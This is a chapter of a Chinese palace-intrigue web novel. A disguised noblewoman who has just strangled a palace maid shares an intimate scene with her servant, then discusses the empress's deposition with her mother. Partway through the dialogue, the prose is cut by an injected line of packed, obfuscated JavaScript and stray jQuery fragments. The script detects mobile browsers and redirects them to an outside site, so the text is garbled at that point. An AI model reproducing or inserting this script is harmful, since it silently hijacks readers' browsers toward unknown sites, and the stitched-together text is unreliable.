深巷


    元青争倏然放松，声音还是女子本声：“怎么到这里来了？”


    落籽攥着袖角，玉立在她身前，面颊有些红：“我担心公子，特地来接一接，也好防备什么意料之外。”


    瞧着他这样子，元青争事儿办得好，心情也好，忽然起了些捉弄心思。


    两相凑近，她轻轻牵起落籽衣袂，嗓音柔得能淌水：“落籽，我的罗裙脏了。”


    元青争眼神铺满可怜，眼尾拖出一道红晕，要是能忽略掉她裙角沾着的血迹，谁能想到她方才掐死了一个人？


    可落籽像是被元青争勾了魂，真浑然不觉那些血迹如何，双手捧上她的下颌，眼神在她脸面游走：“我给公子买新的穿，公子，你给我亲一口吧……”


    元青争将头偏了偏，去蹭落籽掌心，眼波流转着小心思：“公子说不给，落籽还亲吗？”


    “公子不让，我就再忍忍……”落籽只觉身体要被一股无名火烧穿了，“回头，我去给公子买新衣服穿，


    买最好的青黛画眉，买最好的口脂涂唇，这等粗制滥造的东西，配不上公子的脸。”


    元青争抿嘴轻笑：“真的吗？落籽有这么多银子花吗？需要公子资助一些吗？”


    “我银子不短缺的，公子……”落籽又贴近一些，“我再香不到，我的命就要短缺了。”


    闻言，元青争轻而又快地吻了一下落籽唇角：“胡说什么呢～公子可不舍得让你命短缺，别拿这个来威胁我。”


    落籽真是不能忍了，他重重回吻过去，腾出一只手护住元青争后脑，另一只手揽着她的腰，将她抵在墙壁上。


    他吻得很急，就像以前一样，乱拳打死老师傅。


    那柄剑在落籽突然动身时没抓住，掉在了巷道中央，元青争仰头回应落籽的吻，双手攀抱住他的背，任由落籽在她身上的动作愈发大胆。


    就在墙壁与月影天然形成的夜色里，两个人把热恋的气氛烘托到极致。


    元青争踮着脚，吻了很久，直到无力，才举拳轻捶落籽。


    唇瓣分开，落籽依旧锁着人，呼吸不稳：“公子，我……”


    “回去，回去好吗？”元青争也没好到哪里去，边喘边说，“隔了几条巷子，那里还有个刚死的人。”


    总之是个死人，竹筠欺骗皇后感情，最后想拿钱跑路，再有苦衷，也逃不过各方的杀人灭口。


    她之死乃早晚之事，元青争不杀，也会有别人杀，多的是人不想让她活着。


    只不过侯夫人最迫切，元青争愿意给自己母亲当第一把刀，顺带给太子当第二把刀。


    落籽平复半晌，搂着人答应了，松开元青争后捡起地上长剑，将元青争身上带有血迹的一角衣裙割下，放入怀中。


    又牵起元青争的手，两人装做什么都不知，什么都没发生过，隐入铜驼大街。


    马车里，元青争匆匆将所有装束复原，指腹沾着茶水，将眉毛和嘴巴尽量擦拭干净，


    又把整套衣裙和所有散碎东西放进包袱，还把落籽怀里的那一角也拽出来，放了进去：“舍不得什么，这脏东西你也乐意要？”


    落籽看向元青争：“我，我知道这裙角脏了，但是……”


    元青争打断他：“你那里应该有我一方帕子吧？留着那个就行了，要什么带血裙角啊，不吉利。”


    被戳穿了以前的小心思，落籽不好意思起来：“好。”


    元青争系紧包袱：“走吧，回侯府，我要去我母亲那里一趟。”


    落籽兴致不高，讷声问道：“公子……不能直接回至清楼吗？”


    元青争忍俊不禁，轻轻踢他：“你先回去洗澡，把火盆和水准备好，公子还有事，不能直接快活去。”


    风月居


    杨如晦洗漱罢了，穿着中衣等在寝卧，见元青争敲门进来，她忙问：“怎么样？事情可还顺利？”


    元青争带门，低声道：“顺利，竹筠已死，死于乞丐奸杀，或谋财害命。”


    “那就好，你在太子处打听到什么了？”杨如晦叹息一声。


    可元青争并不上套：“娘，你先把事情原原本本告诉我，我再告诉你太子怎么说的。”


    “儿大不由娘啊。”杨如晦意料之内，她这孩子养得，果然青出于蓝。


    元青争名字的本意，远不是她嫌其吵闹所取，而是希望元青争能够在与世的争斗中，能比她亲爹更厉害一些。


    “竹筠是我送进宫的，她十来岁上就出落得十分招人喜欢，可却要被她爹娘送给别人家当童养媳，我遇见了，就将她买了。”


    杨如晦最终决定，说实情，“后我将她送进宫去，原来打算是想让她寻机爬上龙床，跟皇后分宠。


    可她干了几年宫女，从偏宫偏殿干去了凤阳宫，给我递消息说，皇后不好对付，她的宠分不了，我也就随她去了。”


    杨如晦坐到床沿：“可秋狩前夕，她又突然给我递消息，说这几年一直为了让皇后红杏出墙做努力，如今终于要成了。


    我还当她是发现了皇后跟哪个侍卫的私情，跟她递过去消息说，只要事情办成，就可以去十里飘香支一千两银子，此后余生不必再见。


    却没想到宫里流言蜚语传出来，主体不是皇后和侍卫，是皇后和宫女。”


    元青争有些失落：“所以，娘想对付皇后，以报幼时她对您的所有打压，也报这些年的挟制之恨。”


    杨如晦躺下，给自己盖上被子：“还没完呢，等到皇后这桩事，处理情况公布于众，就知道咱们的陛下有没有插手了。


    我可不相信，我那高傲的姐姐会同宫女苟合，就算是为了太子，她也不会做出什么让她后悔的事来。”


    “陛下？”元青争双手微微握紧，“……是呀，一个小小宫女，怎么就能把后宫搞得天翻地覆呢？


    太子跟我说，今日许美人指证皇后与竹筠，陛下在内宫已出言废后，这皇后一倒，后宫里只剩她有子嗣，可真真万人之上了。”


    “哦，许意昌指证她们？”杨如晦来了兴致，眉梢微扬，“哈……那没跑了，


    必然是皇帝许了她什么，她才敢那么做的，不然她一定会把尾巴夹一辈子。


    我那不可一世的姐姐，如今既被身边人算计，又被枕边人算计，好啊，可真让我高兴，如今被算计得连后位都没了……”


    言顿，杨如晦又忽然厉声起来：“你这消息真不真？”


    元青争低下眸子：“太子亲口所说，他没必要骗我，这事儿早晚都要公布于天下，此时骗我没意义。


    但我还有一点


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16022012|175978||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    想不通，娘，就算陛下真的参与进来了，他为的是什么呢？少年帝后风雨相持多年，你这话又有何依据？”


    杨如晦翻身朝里，拉着被子，将自己裹了个严实，声音闷闷的，像是困乏不堪：“他为的什么，只有他自己知道了。


    但此事没他助力，不可能走到废后的地步，好了，为娘困得很，你明日还要上朝，早回罢，将屋内烛火灭一灭。”


    元青争翻白眼，将卧房里的所有蜡烛尽数吹灭，缓步退出。


    床榻之上，杨如晦的脸藏在月影里，她没有睡觉，瞳仁里透出挣扎，有恶鬼在肆虐。


    入秋了，晚天有些寒凉，她忽然觉得好冷，紧着被子，枕头被沾湿了。


    两只眼眶不停掉泪，没有人能尝一尝这泪水包含了什么，连她自己也不知道，复杂得不能用言语表述。


    大概是觉得这事儿自己做得有些过分了，亦或此事就不该做，再或事情脱离了掌控，她没想把皇后搞到如今地步。


    纵然毫无血缘，皇后依旧是杨如晦在这世上，除了元青争最亲、最亲的人了。


    她哭得很凶，她哭得很静。


    至清楼


    元青争回来后第一件事就是把红纸、腰带和木簪扔进火盆，又将石黛砸碎成几块扔了进去，轮到衣服时，落籽正巧打水回来，抢过上衣不肯撒手。


    元青争不解：“怎么了，扔进去啊？这可都是我的罪证。”


    落籽干脆把衣服藏到了背后：“公子，这衣服，今儿晚上能不能再穿一次？”


    元青争喉头一哽，笑骂他没出息，抢过来衣服，点了扔进火盆，但见落籽神色伤痛：“一件衣服而已，这么悲伤吗？”


    “倒也没有……”落籽眼神又盯上了还没有进火盆的罗裙、鞋子，可若不是因为火盆不够大，这两样早进去了。


    “口是心非。”元青争无情地拆穿了他，水眸上下晃荡间，又忽然换上本声，“元落籽，这衣服料子太糙了，公子要是贴身穿着，磨得慌～”


    血脉贲张。


    外衣贴身穿？还会磨得慌？


    落籽语无伦次，单是想象到那个画面，就要流鼻血：“公子，你，你等我，我这就出去买，买最软的！最好的！”


    他说着说着就要往外走。


    “回来！”元青争柔情目佯嗔，“傻子吗？天这么晚了，上哪里去买？公子衣柜里衣裳多得是，左右都差不多，你挑一件瞧得上眼的就是了。”


    “可那些，都是男子式样啊？”


    “玩个趣儿罢了，有些衣摆做得广，你挑挑，差不多。”


    “我……好！公子，你可千万不要反悔。”落籽满眼希冀。


    “不悔。”元青争无奈轻笑，“只是已入秋，天气寒凉，若这火盆里的东西烧完之前，你还没有找到应心的，那就算了。”


    落籽闻言不再停顿，快步走向衣柜：“我已经想到要哪件了。”


    元青争抿唇，洗漱去了，火盆里红焰正烘烤着空气：“你洗过了吗？可洗干净了？”


    落籽拿着一件广袖绛红纱衣，从背后虚虚搂住元青争，浑身发烫，脸红得要滴血，声音低哑：“我洗好了，公子，我想要这个。”


    元青争看着这件夏日的纱衣，将手擦净后，没有再动作：“嗯……”